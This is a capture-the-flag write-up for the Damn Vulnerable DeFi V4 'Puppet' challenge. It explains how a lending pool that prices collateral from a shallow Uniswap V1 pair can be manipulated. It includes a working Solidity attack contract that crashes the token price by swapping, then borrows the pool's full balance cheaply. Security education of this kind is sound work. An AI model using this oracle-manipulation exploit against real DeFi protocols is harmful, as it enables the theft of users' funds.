# Damn Vulnerable DeFi V4 - Puppet
[toc]
## Intro
There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Pass the challenge by saving all tokens from the lending pool, then depositing them into the designated recovery account. You start with 25 ETH and 1000 DVTs in balance.
<br>
## Source Code
Source code
https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/puppet
Test file
https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/puppet/Puppet.t.sol
<br>
## Analysis
It's interesting that the `lengingPool` is calculating the required ETH collateral based on the `uniswapPair`'s balance
```solidity=
// Allows borrowing tokens by first depositing two times their value in ETH
function borrow(uint256 amount, address recipient) external payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(amount);
if (msg.value < depositRequired) {
revert NotEnoughCollateral();
}
if (msg.value > depositRequired) {
unchecked {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
}
unchecked {
deposits[msg.sender] += depositRequired;
}
// Fails if the pool doesn't have enough tokens in liquidity
if (!token.transfer(recipient, amount)) {
revert TransferFailed();
}
emit Borrowed(msg.sender, recipient, depositRequired, amount);
}
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
}
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
```
<br>
Plus the initial `uniswapPair` only has `10 eth` and `10 DVT`, really easy to manipulate the price
Again, out goal is to pump up the make the `uniswapPair`'s DVT, makes it really cheap
- As a result, we don't need too much ETH as collateral
- This can be achieved via `uniswapV1Exchange.tokenToEthTransferInput`
Next we can drain the lendingPool via `borrow` function
- In the end, we will get a cheap collateral ETH price
<br>
## Attack
```solidity=
function test_puppet() public checkSolvedByPlayer {
AttackContract attacker = new AttackContract(
token,
lendingPool,
uniswapV1Exchange,
recovery
);
// 1. Transfer the player's fund into the attacker contract
token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE);
payable(attacker).transfer(PLAYER_INITIAL_ETH_BALANCE);
// 2. Trigger the attack
attacker.trigger(POOL_INITIAL_TOKEN_BALANCE);
}
...
contract AttackContract {
DamnValuableToken token;
PuppetPool lendingPool;
IUniswapV1Exchange uniswapV1Exchange;
address recovery;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18; // 100,000 DVT
constructor(
DamnValuableToken _token,
PuppetPool _lendingPool,
IUniswapV1Exchange _uniswapV1Exchange,
address _recovery
) payable {
token = _token;
lendingPool = _lendingPool;
uniswapV1Exchange = _uniswapV1Exchange;
recovery = _recovery;
}
// 3. pump up the DVT by swap inside uniswapPair
// 4. uniswapPair balance would be
// 1 ETH / 1010 DVT
// 5. perform borrow function which will need low amount of ETH
function trigger(uint256 borrowAmount) public payable {
uint256 token_balance = token.balanceOf(address(this));
token.approve(address(uniswapV1Exchange), token_balance);
uniswapV1Exchange.tokenToEthTransferInput(
token_balance,
9,
block.timestamp,
address(this)
);
lendingPool.borrow{value: address(this).balance}(
borrowAmount,
recovery
);
}
receive() external payable {}
}
```